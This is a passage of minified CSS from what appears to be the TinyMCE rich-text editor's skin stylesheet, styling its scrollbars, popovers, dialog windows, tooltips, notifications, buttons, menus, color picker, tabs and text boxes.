.mce-btn.mce-active:hover button i{color:white;text-shadow:1px 1px none}.mce-sidebar-panel{border:0 solid #c5c5c5;border-left-width:1px}.mce-container,.mce-container-body{display:block}.mce-autoscroll{overflow:hidden}.mce-scrollbar{position:absolute;width:7px;height:100%;top:2px;right:2px;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-scrollbar-h{top:auto;right:auto;left:2px;bottom:2px;width:100%;height:7px}.mce-scrollbar-thumb{position:absolute;background-color:#000;border:1px solid #888;border-color:rgba(85,85,85,0.6);width:5px;height:100%}.mce-scrollbar-h .mce-scrollbar-thumb{width:100%;height:5px}.mce-scrollbar:hover,.mce-scrollbar.mce-active{background-color:#AAA;opacity:.6;filter:alpha(opacity=60);zoom:1}.mce-scroll{position:relative}.mce-panel{border:0 solid #f3f3f3;border:0 solid #c5c5c5;background-color:#fff}.mce-floatpanel{position:absolute;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);box-shadow:0 1px 2px rgba(0, 0, 0, 0.2)}.mce-floatpanel.mce-fixed{position:fixed}.mce-floatpanel .mce-arrow,.mce-floatpanel .mce-arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.mce-floatpanel .mce-arrow{border-width:11px}.mce-floatpanel .mce-arrow:after{border-width:10px;content:""}.mce-floatpanel.mce-popover{filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background:transparent;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);top:0;left:0;background:#FFF;border:1px solid #c5c5c5;border:1px solid rgba(0,0,0,0.25)}.mce-floatpanel.mce-popover.mce-bottom{margin-top:10px;*margin-top:0}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow{left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#c5c5c5;border-bottom-color:rgba(0,0,0,0.25);top:-11px}.mce-floatpanel.mce-popover.mce-bottom>.mce-arrow:after{top:1px;margin-left:-10px;border-top-width:0;border-bottom-color:#FFF}.mce-floatpanel.mce-popover.mce-top{margin-top:-10px;*margin-top:0}.mce-floatpanel.mce-popover.mce-top>.mce-arrow{left:50%;margin-left:-11px;border-bottom-width:0;border-top-color:#c5c5c5;top:auto;bottom:-11px}.mce-floatpanel.mce-popover.mce-top>.mce-arrow:after{bottom:1px;margin-left:-10px;border-bottom-width:0;border-top-color:#FFF}.mce-floatpanel.mce-popover.mce-bottom.mce-start,.mce-floatpanel.mce-popover.mce-top.mce-start{margin-left:-22px}.mce-floatpanel.mce-popover.mce-bottom.mce-start>.mce-arrow,.mce-floatpanel.mce-popover.mce-top.mce-start>.mce-arrow{left:20px}.mce-floatpanel.mce-popover.mce-bottom.mce-end,.mce-floatpanel.mce-popover.mce-top.mce-end{margin-left:22px}.mce-floatpanel.mce-popover.mce-bottom.mce-end>.mce-arrow,.mce-floatpanel.mce-popover.mce-top.mce-end>.mce-arrow{right:10px;left:auto}.mce-fullscreen{border:0;padding:0;margin:0;overflow:hidden;height:100%}div.mce-fullscreen{position:fixed;top:0;left:0}#mce-modal-block{opacity:0;filter:alpha(opacity=0);zoom:1;position:fixed;left:0;top:0;width:100%;height:100%;background:#FFF}#mce-modal-block.mce-in{opacity:.5;filter:alpha(opacity=50);zoom:1}.mce-window-move{cursor:move}.mce-window{-webkit-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);-moz-box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);box-shadow:0 3px 7px rgba(0, 0, 0, 0.3);filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background:transparent;background:#FFF;position:fixed;top:0;left:0;opacity:0;transform:scale(.1);transition:transform 100ms ease-in,opacity 150ms ease-in}.mce-window.mce-in{transform:scale(1);opacity:1}.mce-window-head{padding:9px 15px;border-bottom:1px solid #c5c5c5;position:relative}.mce-window-head .mce-close{position:absolute;right:0;top:0;height:38px;width:38px;text-align:center;cursor:pointer}.mce-window-head .mce-close i{color:#9b9b9b}.mce-close:hover i{color:#bdbdbd}.mce-window-head .mce-title{line-height:20px;font-size:20px;font-weight:bold;text-rendering:optimizelegibility;padding-right:20px}.mce-window .mce-container-body{display:block}.mce-foot{display:block;background-color:#FFF;border-top:1px solid #c5c5c5}.mce-window-head .mce-dragh{position:absolute;top:0;left:0;cursor:move;width:90%;height:100%}.mce-window iframe{width:100%;height:100%}.mce-window-body .mce-listbox{border-color:#e2e4e7}.mce-window .mce-btn:hover{border-color:#c5c5c5}.mce-window .mce-btn:focus{border-color:#2276d2}.mce-window-body .mce-btn,.mce-foot .mce-btn{border-color:#c5c5c5}.mce-foot .mce-btn.mce-primary{border-color:transparent}.mce-rtl .mce-window-head .mce-close{position:absolute;right:auto;left:0}.mce-rtl .mce-window-head .mce-dragh{left:auto;right:0}.mce-rtl .mce-window-head .mce-title{direction:rtl;text-align:right;padding-right:0;padding-left:20px}.mce-tooltip{position:absolute;padding:5px;opacity:.8;filter:alpha(opacity=80);zoom:1;margin-top:1px}.mce-tooltip-inner{font-size:11px;background-color:#000;color:white;max-width:200px;padding:5px 8px 4px 8px;text-align:center;white-space:normal}.mce-tooltip-inner{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-tooltip-arrow{position:absolute;width:0;height:0;line-height:0;border:5px dashed #000}.mce-tooltip-arrow-n{border-bottom-color:#000}.mce-tooltip-arrow-s{border-top-color:#000}.mce-tooltip-arrow-e{border-left-color:#000}.mce-tooltip-arrow-w{border-right-color:#000}.mce-tooltip-nw,.mce-tooltip-sw{margin-left:-14px}.mce-tooltip-ne,.mce-tooltip-se{margin-left:14px}.mce-tooltip-n .mce-tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-nw .mce-tooltip-arrow{top:0;left:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-ne .mce-tooltip-arrow{top:0;right:10px;border-bottom-style:solid;border-top:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-s .mce-tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-sw .mce-tooltip-arrow{bottom:0;left:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-se .mce-tooltip-arrow{bottom:0;right:10px;border-top-style:solid;border-bottom:none;border-left-color:transparent;border-right-color:transparent}.mce-tooltip-e .mce-tooltip-arrow{right:0;top:50%;margin-top:-5px;border-left-style:solid;border-right:none;border-top-color:transparent;border-bottom-color:transparent}.mce-tooltip-w .mce-tooltip-arrow{left:0;top:50%;margin-top:-5px;border-right-style:solid;border-left:none;border-top-color:transparent;border-bottom-color:transparent}.mce-progress{display:inline-block;position:relative;height:20px}.mce-progress .mce-bar-container{display:inline-block;width:100px;height:100%;margin-right:8px;border:1px solid #ccc;overflow:hidden}.mce-progress .mce-text{display:inline-block;margin-top:auto;margin-bottom:auto;font-size:14px;width:40px;color:#595959}.mce-bar{display:block;width:0;height:100%;background-color:#dfdfdf;-webkit-transition:width .2s ease;transition:width .2s ease}.mce-notification{position:absolute;background-color:#fff;padding:5px;margin-top:5px;border-width:1px;border-style:solid;border-color:#c5c5c5;transition:transform 100ms ease-in,opacity 150ms ease-in;opacity:0;box-sizing:border-box}.mce-notification.mce-in{opacity:1}.mce-notification-success{background-color:#dff0d8;border-color:#d6e9c6}.mce-notification-info{background-color:#d9edf7;border-color:#779ECB}.mce-notification-warning{background-color:#fcf8e3;border-color:#faebcc}.mce-notification-error{background-color:#f2dede;border-color:#ebccd1}.mce-notification.mce-has-close{padding-right:15px}.mce-notification .mce-ico{margin-top:5px}.mce-notification-inner{word-wrap:break-word;-ms-word-break:break-all;word-break:break-all;word-break:break-word;-ms-hyphens:auto;-moz-hyphens:auto;-webkit-hyphens:auto;hyphens:auto;display:inline-block;font-size:14px;margin:5px 8px 4px 8px;text-align:center;white-space:normal;color:#31708f}.mce-notification-inner a{text-decoration:underline;cursor:pointer}.mce-notification .mce-progress{margin-right:8px}.mce-notification .mce-progress .mce-text{margin-top:5px}.mce-notification *,.mce-notification .mce-progress .mce-text{color:#595959}.mce-notification .mce-progress .mce-bar-container{border-color:#c5c5c5}.mce-notification .mce-progress .mce-bar-container .mce-bar{background-color:#595959}.mce-notification-success *,.mce-notification-success .mce-progress .mce-text{color:#3c763d}.mce-notification-success .mce-progress .mce-bar-container{border-color:#d6e9c6}.mce-notification-success .mce-progress .mce-bar-container .mce-bar{background-color:#3c763d}.mce-notification-info *,.mce-notification-info .mce-progress .mce-text{color:#31708f}.mce-notification-info .mce-progress .mce-bar-container{border-color:#779ECB}.mce-notification-info .mce-progress .mce-bar-container .mce-bar{background-color:#31708f}.mce-notification-warning *,.mce-notification-warning .mce-progress .mce-text{color:#8a6d3b}.mce-notification-warning .mce-progress .mce-bar-container{border-color:#faebcc}.mce-notification-warning .mce-progress .mce-bar-container .mce-bar{background-color:#8a6d3b}.mce-notification-error *,.mce-notification-error .mce-progress .mce-text{color:#a94442}.mce-notification-error .mce-progress .mce-bar-container{border-color:#ebccd1}.mce-notification-error .mce-progress .mce-bar-container .mce-bar{background-color:#a94442}.mce-notification .mce-close{position:absolute;top:6px;right:8px;font-size:20px;font-weight:bold;line-height:20px;color:#9b9b9b;cursor:pointer}.mce-abs-layout{position:relative}html .mce-abs-layout-item,.mce-abs-end{position:absolute}.mce-abs-end{width:1px;height:1px}.mce-container-body.mce-abs-layout{overflow:hidden}.mce-btn{border:1px solid #b3b3b3;border-color:transparent transparent transparent transparent;position:relative;text-shadow:0 1px 1px rgba(255,255,255,0.75);background:white;display:inline-block;*display:inline;*zoom:1;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-btn:hover,.mce-btn:active{background:white;color:#595959;border-color:#e2e4e7}.mce-btn:focus{background:white;color:#595959;border-color:#e2e4e7}.mce-btn.mce-disabled button,.mce-btn.mce-disabled:hover button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-btn.mce-active,.mce-btn.mce-active:hover,.mce-btn.mce-active:focus,.mce-btn.mce-active:active{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;background:#555c66;color:white;border-color:transparent}.mce-btn.mce-active button,.mce-btn.mce-active:hover button,.mce-btn.mce-active i,.mce-btn.mce-active:hover i{color:white}.mce-btn:hover .mce-caret{border-top-color:#b5bcc2}.mce-btn.mce-active .mce-caret,.mce-btn.mce-active:hover .mce-caret{border-top-color:white}.mce-btn button{padding:4px 6px;font-size:14px;line-height:20px;*line-height:16px;cursor:pointer;color:#595959;text-align:center;overflow:visible;-webkit-appearance:none}.mce-btn button::-moz-focus-inner{border:0;padding:0}.mce-btn i{text-shadow:1px 1px none}.mce-primary.mce-btn-has-text{min-width:50px}.mce-primary{color:white;border:1px solid transparent;border-color:transparent;background-color:#2276d2}.mce-primary:hover,.mce-primary:focus{background-color:#1e6abc;border-color:transparent}.mce-primary.mce-disabled button,.mce-primary.mce-disabled:hover button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-primary.mce-active,.mce-primary.mce-active:hover,.mce-primary:not(.mce-disabled):active{background-color:#1e6abc;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-primary button,.mce-primary button i{color:white;text-shadow:1px 1px none}.mce-btn .mce-txt{font-size:inherit;line-height:inherit;color:inherit}.mce-btn-large button{padding:9px 14px;font-size:16px;line-height:normal}.mce-btn-large i{margin-top:2px}.mce-btn-small button{padding:1px 5px;font-size:12px;*padding-bottom:2px}.mce-btn-small i{line-height:20px;vertical-align:top;*line-height:18px}.mce-btn .mce-caret{margin-top:8px;margin-left:0}.mce-btn-small .mce-caret{margin-top:8px;margin-left:0}.mce-caret{display:inline-block;*display:inline;*zoom:1;width:0;height:0;vertical-align:top;border-top:4px solid #b5bcc2;border-right:4px solid transparent;border-left:4px solid transparent;content:""}.mce-disabled .mce-caret{border-top-color:#aaa}.mce-caret.mce-up{border-bottom:4px solid #b5bcc2;border-top:0}.mce-btn-flat{border:0;background:transparent;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:none}.mce-btn-flat:hover,.mce-btn-flat.mce-active,.mce-btn-flat:focus,.mce-btn-flat:active{border:0;background:#e6e6e6;filter:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-btn-has-text .mce-ico{padding-right:5px}.mce-rtl .mce-btn button{direction:rtl}.mce-toolbar .mce-btn-group{margin:0;padding:2px 0}.mce-btn-group .mce-btn{border-width:1px;margin:0;margin-left:2px}.mce-btn-group:not(:first-child){border-left:1px solid #d9d9d9;padding-left:0;margin-left:2px}.mce-btn-group{margin-left:2px}.mce-btn-group .mce-btn.mce-flow-layout-item{margin:0}.mce-rtl .mce-btn-group .mce-btn{margin-left:0;margin-right:2px}.mce-rtl .mce-btn-group .mce-first{margin-right:0}.mce-rtl .mce-btn-group:not(:first-child){border-left:none;border-right:1px solid #d9d9d9;padding-right:4px;margin-right:4px}.mce-checkbox{cursor:pointer}i.mce-i-checkbox{margin:0 3px 0 0;border:1px solid #c5c5c5;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;background-color:white;text-indent:-10em;overflow:hidden}.mce-checked i.mce-i-checkbox{color:#595959;font-size:16px;line-height:16px;text-indent:0}.mce-checkbox:focus i.mce-i-checkbox,.mce-checkbox.mce-focus i.mce-i-checkbox{border:1px solid #2276d2;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-checkbox.mce-disabled .mce-label,.mce-checkbox.mce-disabled i.mce-i-checkbox{color:#bdbdbd}.mce-checkbox .mce-label{vertical-align:middle}.mce-rtl .mce-checkbox{direction:rtl;text-align:right}.mce-rtl i.mce-i-checkbox{margin:0 0 0 3px}.mce-combobox{position:relative;display:inline-block;*display:inline;*zoom:1;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;*height:32px}.mce-combobox input{border:1px solid #c5c5c5;border-right-color:#c5c5c5;height:28px}.mce-combobox.mce-disabled input{color:#bdbdbd}.mce-combobox .mce-btn{border:1px solid #c5c5c5;border-left:0;margin:0}.mce-combobox button{padding-right:8px;padding-left:8px}.mce-combobox.mce-disabled .mce-btn button{cursor:default;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-combobox .mce-status{position:absolute;right:2px;top:50%;line-height:16px;margin-top:-8px;font-size:12px;width:15px;height:15px;text-align:center;cursor:pointer}.mce-combobox.mce-has-status input{padding-right:20px}.mce-combobox.mce-has-open .mce-status{right:37px}.mce-combobox .mce-status.mce-i-warning{color:#c09853}.mce-combobox .mce-status.mce-i-checkmark{color:#468847}.mce-menu.mce-combobox-menu{border-top:0;margin-top:0;max-height:200px}.mce-menu.mce-combobox-menu .mce-menu-item{padding:4px 6px 4px 4px;font-size:11px}.mce-menu.mce-combobox-menu .mce-menu-item-sep{padding:0}.mce-menu.mce-combobox-menu .mce-text,.mce-menu.mce-combobox-menu .mce-text b{font-size:11px}.mce-menu.mce-combobox-menu .mce-menu-item-link,.mce-menu.mce-combobox-menu .mce-menu-item-link b{font-size:11px}.mce-colorbox i{border:1px solid #c5c5c5;width:14px;height:14px}.mce-colorbutton .mce-ico{position:relative}.mce-colorbutton-grid{margin:4px}.mce-colorbutton .mce-preview{padding-right:3px;display:block;position:absolute;left:50%;top:50%;margin-left:-17px;margin-top:7px;background:gray;width:13px;height:2px;overflow:hidden}.mce-colorbutton.mce-btn-small .mce-preview{margin-left:-16px;padding-right:0;width:16px}.mce-rtl .mce-colorbutton{direction:rtl}.mce-rtl .mce-colorbutton .mce-preview{margin-left:0;padding-right:0;padding-left:3px}.mce-rtl .mce-colorbutton.mce-btn-small .mce-preview{margin-left:0;padding-right:0;padding-left:2px}.mce-rtl .mce-colorbutton .mce-open{padding-left:4px;padding-right:4px;border-left:0}.mce-colorpicker{position:relative;width:250px;height:220px}.mce-colorpicker-sv{position:absolute;top:0;left:0;width:90%;height:100%;border:1px solid #c5c5c5;cursor:crosshair;overflow:hidden}.mce-colorpicker-h-chunk{width:100%}.mce-colorpicker-overlay1,.mce-colorpicker-overlay2{width:100%;height:100%;position:absolute;top:0;left:0}.mce-colorpicker-overlay1{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=1, startColorstr='#ffffff', endColorstr='#00ffffff');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=1,startColorstr='#ffffff', endColorstr='#00ffffff')";background:linear-gradient(to right, #fff, rgba(255,255,255,0))}.mce-colorpicker-overlay2{filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0, startColorstr='#00000000', endColorstr='#000000');-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#00000000', endColorstr='#000000')";background:linear-gradient(to bottom, rgba(0,0,0,0), #000)}.mce-colorpicker-selector1{background:none;position:absolute;width:12px;height:12px;margin:-8px 0 0 -8px;border:1px solid black;border-radius:50%}.mce-colorpicker-selector2{position:absolute;width:10px;height:10px;border:1px solid white;border-radius:50%}.mce-colorpicker-h{position:absolute;top:0;right:0;width:6.5%;height:100%;border:1px solid #c5c5c5;cursor:crosshair}.mce-colorpicker-h-marker{margin-top:-4px;position:absolute;top:0;left:-1px;width:100%;border:1px solid black;background:white;height:4px;z-index:100}.mce-path{display:inline-block;*display:inline;*zoom:1;padding:8px;white-space:normal;font-size:inherit}.mce-path .mce-txt{display:inline-block;padding-right:3px}.mce-path .mce-path-body{display:inline-block}.mce-path-item{display:inline-block;*display:inline;*zoom:1;cursor:pointer;color:#595959;font-size:inherit;text-transform:uppercase}.mce-path-item:hover{text-decoration:underline}.mce-path-item:focus{background:#555c66;color:white}.mce-path .mce-divider{display:inline;font-size:inherit}.mce-disabled .mce-path-item{color:#aaa}.mce-rtl .mce-path{direction:rtl}.mce-fieldset{border:0 solid #9E9E9E}.mce-fieldset>.mce-container-body{margin-top:-15px}.mce-fieldset-title{margin-left:5px;padding:0 5px 0 5px}.mce-fit-layout{display:inline-block;*display:inline;*zoom:1}.mce-fit-layout-item{position:absolute}.mce-flow-layout-item{display:inline-block;*display:inline;*zoom:1}.mce-flow-layout-item{margin:2px 0 2px 2px}.mce-flow-layout-item.mce-last{margin-right:2px}.mce-flow-layout{white-space:normal}.mce-tinymce-inline .mce-flow-layout{white-space:nowrap}.mce-rtl .mce-flow-layout{text-align:right;direction:rtl}.mce-rtl .mce-flow-layout-item{margin:2px 2px 2px 0}.mce-rtl .mce-flow-layout-item.mce-last{margin-left:2px}.mce-iframe{border:0 solid #c5c5c5;width:100%;height:100%}.mce-infobox{display:inline-block;*display:inline;*zoom:1;text-shadow:0 1px 1px rgba(255,255,255,0.75);overflow:hidden;border:1px solid red}.mce-infobox div{display:block;margin:5px}.mce-infobox div button{position:absolute;top:50%;right:4px;cursor:pointer;margin-top:-8px;display:none}.mce-infobox div button:focus{outline:2px solid #e2e4e7}.mce-infobox.mce-has-help div{margin-right:25px}.mce-infobox.mce-has-help button{display:block}.mce-infobox.mce-success{background:#dff0d8;border-color:#d6e9c6}.mce-infobox.mce-success div{color:#3c763d}.mce-infobox.mce-warning{background:#fcf8e3;border-color:#faebcc}.mce-infobox.mce-warning div{color:#8a6d3b}.mce-infobox.mce-error{background:#f2dede;border-color:#ebccd1}.mce-infobox.mce-error div{color:#a94442}.mce-rtl .mce-infobox div{text-align:right;direction:rtl}.mce-label{display:inline-block;*display:inline;*zoom:1;text-shadow:0 1px 1px rgba(255,255,255,0.75);overflow:hidden}.mce-label.mce-autoscroll{overflow:auto}.mce-label.mce-disabled{color:#aaa}.mce-label.mce-multiline{white-space:pre-wrap}.mce-label.mce-success{color:#468847}.mce-label.mce-warning{color:#c09853}.mce-label.mce-error{color:#b94a48}.mce-rtl .mce-label{text-align:right;direction:rtl}.mce-menubar{border:1px solid #e2e4e7}.mce-menubar .mce-menubtn{border-color:transparent;background:transparent;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;filter:none}.mce-menubar .mce-menubtn button span{color:#595959}.mce-menubar .mce-caret{border-top-color:#b5bcc2}.mce-menubar .mce-active .mce-caret,.mce-menubar .mce-menubtn:hover .mce-caret{border-top-color:#b5bcc2}.mce-menubar .mce-menubtn:hover,.mce-menubar .mce-menubtn.mce-active,.mce-menubar .mce-menubtn:focus{border-color:#e2e4e7;background:white;filter:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-menubar .mce-menubtn.mce-active{border-bottom:none;z-index:65537}div.mce-menubtn.mce-opened{border-bottom-color:white;z-index:65537}div.mce-menubtn.mce-opened.mce-opened-under{z-index:0}.mce-menubtn button{color:#595959}.mce-menubtn.mce-btn-small span{font-size:12px}.mce-menubtn.mce-fixed-width span{display:inline-block;overflow-x:hidden;text-overflow:ellipsis;width:90px}.mce-menubtn.mce-fixed-width.mce-btn-small span{width:70px}.mce-menubtn .mce-caret{*margin-top:6px}.mce-rtl .mce-menubtn button{direction:rtl;text-align:right}.mce-rtl .mce-menubtn.mce-fixed-width span{direction:rtl;text-align:right}.mce-menu-item{display:block;padding:6px 4px 6px 4px;clear:both;font-weight:normal;line-height:20px;color:#595959;white-space:nowrap;cursor:pointer;line-height:normal;border-left:4px solid transparent;margin-bottom:1px}.mce-menu-item .mce-text,.mce-menu-item .mce-text b{line-height:1;vertical-align:initial}.mce-menu-item .mce-caret{margin-top:4px;margin-right:6px;border-top:4px solid transparent;border-bottom:4px solid transparent;border-left:4px solid #595959}.mce-menu-item .mce-menu-shortcut{display:inline-block;padding:0 10px 0 20px;color:#aaa}.mce-menu-item .mce-ico{padding-right:4px}.mce-menu-item:hover,.mce-menu-item:focus{background:#ededee}.mce-menu-item:hover .mce-menu-shortcut,.mce-menu-item:focus .mce-menu-shortcut{color:#aaa}.mce-menu-item:hover .mce-text,.mce-menu-item:focus .mce-text,.mce-menu-item:hover .mce-ico,.mce-menu-item:focus .mce-ico{color:#595959}.mce-menu-item.mce-selected{background:#ededee}.mce-menu-item.mce-selected .mce-text,.mce-menu-item.mce-selected .mce-ico{color:#595959}.mce-menu-item.mce-active.mce-menu-item-normal{background:#555c66}.mce-menu-item.mce-active.mce-menu-item-normal .mce-text,.mce-menu-item.mce-active.mce-menu-item-normal .mce-ico{color:white}.mce-menu-item.mce-active.mce-menu-item-checkbox .mce-ico{visibility:visible}.mce-menu-item.mce-disabled,.mce-menu-item.mce-disabled:hover{background:white}.mce-menu-item.mce-disabled:focus,.mce-menu-item.mce-disabled:hover:focus{background:#ededee}.mce-menu-item.mce-disabled .mce-text,.mce-menu-item.mce-disabled:hover .mce-text,.mce-menu-item.mce-disabled .mce-ico,.mce-menu-item.mce-disabled:hover .mce-ico{color:#aaa}.mce-menu-item.mce-menu-item-preview.mce-active{border-left:5px solid #555c66;background:white}.mce-menu-item.mce-menu-item-preview.mce-active .mce-text,.mce-menu-item.mce-menu-item-preview.mce-active .mce-ico{color:#595959}.mce-menu-item.mce-menu-item-preview.mce-active:hover{background:#ededee}.mce-menu-item-link{color:#093;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.mce-menu-item-link b{color:#093}.mce-menu-item-ellipsis{display:block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.mce-menu-item:hover *,.mce-menu-item.mce-selected *,.mce-menu-item:focus *{color:#595959}div.mce-menu .mce-menu-item-sep,.mce-menu-item-sep:hover{border:0;padding:0;height:1px;margin:9px 1px;overflow:hidden;background:transparent;border-bottom:1px solid rgba(0,0,0,0.1);cursor:default;filter:none}div.mce-menu .mce-menu-item b{font-weight:bold}.mce-menu-item-indent-1{padding-left:20px}.mce-menu-item-indent-2{padding-left:35px}.mce-menu-item-indent-2{padding-left:35px}.mce-menu-item-indent-3{padding-left:40px}.mce-menu-item-indent-4{padding-left:45px}.mce-menu-item-indent-5{padding-left:50px}.mce-menu-item-indent-6{padding-left:55px}.mce-menu.mce-rtl{direction:rtl}.mce-rtl .mce-menu-item{text-align:right;direction:rtl;padding:6px 12px 6px 15px}.mce-rtl .mce-menu-item .mce-caret{margin-left:6px;margin-right:0;border-right:4px solid #595959;border-left:0}.mce-rtl .mce-menu-item.mce-selected .mce-caret,.mce-rtl .mce-menu-item:focus .mce-caret,.mce-rtl .mce-menu-item:hover .mce-caret{border-left-color:transparent;border-right-color:#595959}.mce-rtl .mce-menu-item .mce-ico{padding-right:0;padding-left:4px}.mce-throbber{position:absolute;top:0;left:0;width:100%;height:100%;opacity:.6;filter:alpha(opacity=60);zoom:1;background:#fff url('img/loader.gif') no-repeat center center}.mce-throbber-inline{position:static;height:50px}.mce-menu .mce-throbber-inline{height:25px;background-size:contain}.mce-menu{position:absolute;left:0;top:0;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);background:transparent;z-index:1000;padding:5px 0 5px 0;margin:-1px 0 0;min-width:180px;background:white;border:1px solid #c5c9cf;border:1px solid #e2e4e7;z-index:1002;-webkit-box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);-moz-box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);box-shadow:0 1px 2px rgba(0, 0, 0, 0.2);max-height:500px;overflow:auto;overflow-x:hidden}.mce-menu.mce-animate{opacity:.01;transform:rotateY(10deg) rotateX(-10deg);transform-origin:left top}.mce-menu.mce-menu-align .mce-menu-shortcut,.mce-menu.mce-menu-align .mce-caret{position:absolute;right:0}.mce-menu i{display:none}.mce-menu-has-icons i{display:inline-block}.mce-menu.mce-in.mce-animate{opacity:1;transform:rotateY(0) rotateX(0);transition:opacity .075s ease,transform .1s ease}.mce-menu-sub-tr-tl{margin:-6px 0 0 -1px}.mce-menu-sub-br-bl{margin:6px 0 0 -1px}.mce-menu-sub-tl-tr{margin:-6px 0 0 1px}.mce-menu-sub-bl-br{margin:6px 0 0 1px}.mce-rtl .mce-menu-item .mce-ico{padding-right:0;padding-left:4px}.mce-rtl.mce-menu-align .mce-caret,.mce-rtl .mce-menu-shortcut{right:auto;left:0}.mce-listbox button{text-align:left;padding-right:20px;position:relative}.mce-listbox .mce-caret{position:absolute;margin-top:-2px;right:8px;top:50%}.mce-rtl .mce-listbox .mce-caret{right:auto;left:8px}.mce-rtl .mce-listbox button{padding-right:10px;padding-left:20px}.mce-container-body .mce-resizehandle{position:absolute;right:0;bottom:0;width:16px;height:16px;visibility:visible;cursor:s-resize;margin:0}.mce-container-body .mce-resizehandle-both{cursor:se-resize}i.mce-i-resize{color:#595959}.mce-selectbox{background:#fff;border:1px solid #c5c5c5}.mce-slider{border:1px solid #c5c5c5;background:#fff;width:100px;height:10px;position:relative;display:block}.mce-slider.mce-vertical{width:10px;height:100px}.mce-slider-handle{border:1px solid #c5c5c5;background:#e6e6e6;display:block;width:13px;height:13px;position:absolute;top:0;left:0;margin-left:-1px;margin-top:-2px}.mce-slider-handle:focus{border-color:#2276d2}.mce-spacer{visibility:hidden}.mce-splitbtn:hover .mce-open{border-left:1px solid #e2e4e7}.mce-splitbtn .mce-open{border-left:1px solid transparent;padding-right:4px;padding-left:4px}.mce-splitbtn .mce-open:focus{border-left:1px solid #e2e4e7}.mce-splitbtn .mce-open:hover,.mce-splitbtn .mce-open:active{border-left:1px solid #e2e4e7}.mce-splitbtn.mce-active:hover .mce-open{border-left:1px solid white}.mce-splitbtn.mce-opened{border-color:#e2e4e7}.mce-splitbtn.mce-btn-small .mce-open{padding:0 3px 0 3px}.mce-rtl .mce-splitbtn{direction:rtl;text-align:right}.mce-rtl .mce-splitbtn button{padding-right:4px;padding-left:4px}.mce-rtl .mce-splitbtn .mce-open{border-left:0}.mce-stack-layout-item{display:block}.mce-tabs{display:block;border-bottom:1px solid #c5c5c5}.mce-tabs,.mce-tabs+.mce-container-body{background:#fff}.mce-tab{display:inline-block;*display:inline;*zoom:1;border:1px solid #c5c5c5;border-width:0 1px 0 0;background:#fff;padding:8px 15px;text-shadow:0 1px 1px rgba(255,255,255,0.75);height:13px;cursor:pointer}.mce-tab:hover{background:#FDFDFD}.mce-tab.mce-active{background:#FDFDFD;border-bottom-color:transparent;margin-bottom:-1px;height:14px}.mce-tab:focus{color:#2276d2}.mce-rtl .mce-tabs{text-align:right;direction:rtl}.mce-rtl .mce-tab{border-width:0 0 0 1px}.mce-textbox{background:#fff;border:1px solid #c5c5c5;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;display:inline-block;-webkit-transition:border linear .2s, box-shadow linear .2s;transition:border linear .2s, box-shadow linear .2s;height:28px;resize:none;padding:0 4px 0 4px;white-space:pre-wrap;*white-space:pre;color:#595959}.mce-textbox:focus,.mce-textbox.mce-focus{border-color:#2276d2;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.mce-placeholder .mce-textbox{color:#aaa}.mce-textbox.mce-multiline{padding:4px;height:auto}.mce-textbox.mce-disabled{color:#bdbdbd}.mce-rtl .mce-textbox{text-align:right;direction:rtl}.mce-dropzone{border:3px dashed gray;text-align:center}.mce-dropzone span{text-transform:uppercase;display:inline-block;vertical-align:middle}.mce-dropzone:after{content:"";height:100%;display:inline-block;vertical-align:middle}.mce-dropzone.mce-disabled{opacity:.4;filter:alpha(opacity=40);zoom:1}.mce-dropzone.mce-disabled.mce-dragenter{cursor:not-allowed}.mce-browsebutton{position:relative;overflow:hidden}.mce-browsebutton 